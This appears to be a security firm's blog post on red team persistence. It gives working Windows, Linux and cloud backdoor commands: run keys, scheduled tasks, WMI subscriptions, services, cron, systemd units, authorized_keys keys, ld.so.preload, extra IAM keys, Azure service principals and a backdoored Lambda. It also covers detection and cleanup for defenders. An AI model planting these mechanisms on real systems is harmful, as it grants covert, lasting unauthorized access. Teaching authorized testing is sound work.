Persistence Techniques for Red Team Operations

Persistence is the phase of a red team engagement where an operator ensures continued access to a target environment even after a reboot, credential rotation, or partial remediation attempt. Unlike initial access, which is often opportunistic, persistence requires deliberate planning around stealth, resilience, and blending into normal system behavior. This post covers practical persistence techniques across Windows, Linux, and cloud environments, along with the detection considerations defenders should be aware of.

Why Persistence Matters in a Red Team Engagement

A red team engagement is meant to simulate a realistic adversary, and real adversaries rarely achieve their objectives in a single session. Persistence techniques allow an operator to survive:

• System reboots
• Password or credential rotations
• Partial incident response actions that remove one foothold but miss others
• Extended engagement timelines spanning days or weeks

Well designed persistence also tests an organization's detection capability far more rigorously than a single exploit chain, since it forces defenders to catch subtle, long-running indicators rather than a single obvious event. Engagements built around this kind of realistic tradecraft are core to how Sagefox Cybersecurity structures red team operations for clients who want to test detection maturity, not just exploitability.

Windows Persistence Techniques

Registry Run Keys

One of the oldest and still commonly tested persistence mechanisms involves adding an entry to a registry run key, which executes automatically at user logon.

powershell

# Add a persistence entry under the current user's run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateCheck" /t REG_SZ /d "C:\Users\Public\update_check.exe" /f

# Verify the entry
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"

This technique is well known to defenders and is monitored by most modern EDR products, but it remains useful as a baseline test of whether an organization's detection stack actually alerts on registry modification events in practice, as opposed to simply having the capability to do so on paper.

Scheduled Tasks

Scheduled tasks provide more flexibility than run keys, including the ability to trigger on specific events rather than only at logon.

powershell

# Create a scheduled task that runs at logon under the current user context
schtasks /create /tn "SystemHealthCheck" /tr "C:\Users\Public\svc.exe" /sc onlogon /rl highest

# List scheduled tasks to confirm creation
schtasks /query /tn "SystemHealthCheck" /v /fo list

More advanced operators use less common triggers, such as tasks bound to specific event log entries, which are less frequently reviewed by defenders during routine task audits.

WMI Event Subscriptions

WMI-based persistence is harder to detect through standard file and registry monitoring because it lives inside the WMI repository rather than the file system or standard registry hives.

powershell

# Create a permanent WMI event filter that triggers on system startup
$filterArgs = @{
   Name = "SystemStartupFilter"
   EventNamespace = "root\cimv2"
   QueryLanguage = "WQL"
   Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $filterArgs

$consumerArgs = @{
   Name = "SystemStartupConsumer"
   CommandLineTemplate = "C:\Users\Public\svc.exe"
}
$consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $consumerArgs

$bindingArgs = @{
   Filter = $filter
   Consumer = $consumer
}
New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $bindingArgs

WMI persistence should always be documented precisely and cleaned up at the end of an engagement, since it does not appear in standard startup folder or registry reviews and can be easy to forget during cleanup.

Service-Based Persistence

Creating a malicious Windows service is another classic technique that survives reboots and runs with elevated privileges if configured under a service account with sufficient rights.

powershell

sc create SysMonitorSvc binPath= "C:\Users\Public\svc.exe" start= auto
sc description SysMonitorSvc "Monitors system performance metrics"
sc start SysMonitorSvc

Linux Persistence Techniques

Cron Jobs

Cron remains the most common persistence mechanism on Linux systems due to its simplicity and ubiquity.

bash

# Add a cron job that runs every 10 minutes as the current user
(crontab -l 2>/dev/null; echo "*/10 * * * * /usr/local/bin/.syscheck") | crontab -

# Confirm the entry
crontab -l

For root-level persistence, placing an entry directly into system cron directories is a common variant:

bash

echo "*/15 * * * * root /usr/local/bin/.syscheck" > /etc/cron.d/system-health
chmod 644 /etc/cron.d/system-health

Systemd Service Units

Systemd units offer a more resilient and less commonly reviewed persistence mechanism than cron on many distributions.

bash

cat << 'EOF' > /etc/systemd/system/network-health.service
[Unit]
Description=Network Health Monitoring Service
After=network.target

[Service]
ExecStart=/usr/local/bin/.syscheck
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable network-health.service
systemctl start network-health.service

The Restart=always directive is particularly valuable for red team purposes since it causes the persistence mechanism to relaunch automatically if killed, closely mimicking how resilient real-world malware behaves.

SSH Key-Based Persistence

Adding an operator-controlled public key to a user's authorized_keys file provides quiet, credential-independent access that survives password changes.

bash

mkdir -p ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... operator-key" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

This technique should be scoped carefully during an engagement and documented with the exact key fingerprint used, so it can be cleanly removed and verified as removed during cleanup.

Shared Library Injection

A more advanced technique involves hijacking the dynamic linker to load an operator-controlled shared object into every process on the system, which is significantly harder to detect through standard persistence audits.

bash

echo "/usr/local/lib/libsysmon.so" > /etc/ld.so.preload

Any binary listed in this file loads into every subsequently executed process, providing broad but noisy persistence. Because of its system-wide impact, this technique warrants careful scoping discussion with the client before use in any engagement.

Cloud Environment Persistence

AWS IAM Backdoor Access Keys

In cloud engagements, persistence often shifts from the operating system layer to the identity and access management layer.

bash

# Create an additional access key for a compromised IAM user
aws iam create-access-key --user-name svc-deployment-user

# List existing access keys to confirm the addition blends in
aws iam list-access-keys --user-name svc-deployment-user

Azure Application Registration Backdoors

Creating a service principal with a client secret provides API-level access that persists independently of any user account compromise.

bash

az ad app create --display-name "InternalMonitoringService"
az ad sp create-for-rbac --name "InternalMonitoringService" --role Contributor

Lambda and Serverless Persistence

Modifying or deploying a Lambda function with a backdoored handler provides persistence that runs without any traditional server for defenders to inspect.

bash

aws lambda update-function-code \
 --function-name existing-data-processor \
 --zip-file fileb://backdoored_function.zip

Detection Considerations for Defenders

Every technique above leaves some form of trace, and defenders should focus on the following review points as part of a mature detection program:

• Regular diffing of registry run keys, scheduled tasks, and startup folders against a known baseline
• Alerting on WMI permanent event subscription creation, which is rare in legitimate administrative activity
• Monitoring changes to /etc/ld.so.preload, /etc/cron.d/, and systemd unit directories
• Reviewing IAM access key creation events and service principal creation for accounts that do not typically require them
• Auditing authorized_keys file changes across all user home directories, not just privileged accounts

Detection engineering built around these specific artifacts tends to catch a far wider range of real-world persistence techniques than relying on signature-based malware detection alone, since persistence mechanisms are frequently built from legitimate system features rather than custom malicious binaries.

Operational Considerations for Red Teams

Documentation and Cleanup

Every persistence mechanism deployed during an engagement must be logged with exact timestamps, file paths, and configuration details. Cleanup at the end of an engagement should be verified, not assumed, since an undocumented leftover backdoor represents a genuine security risk to the client rather than a simulated one.

Blending With Normal Activity

Effective persistence techniques mimic naming conventions, file locations, and behavior patterns already present in the target environment. A scheduled task named after an internal IT naming convention blends in far better than an obviously suspicious name, and this attention to detail is often what separates a realistic engagement from one that gets caught immediately by even mediocre defenses.

Aligning With Client Objectives

Not every engagement calls for every technique described here. Some clients want to specifically test detection of cloud-layer persistence, while others are focused on endpoint detection maturity. Scoping conversations before an engagement begins should clarify which techniques are in bounds and which systems are off limits entirely.

Key Takeaways

Persistence separates a realistic red team engagement from a simple exploitation exercise. Windows, Linux, and cloud environments each offer distinct mechanisms, from registry run keys and WMI subscriptions to cron jobs, systemd units, and IAM backdoors, and a well rounded operator should be comfortable across all three. Defenders benefit most when these techniques are tested deliberately and documented thoroughly, since the resulting findings translate directly into concrete detection engineering improvements rather than abstract risk statements.

Organizations looking to test their detection capability against realistic, multi-layered persistence techniques can work with Sagefox Cybersecurity to scope a red team engagement suited to their environment and objectives.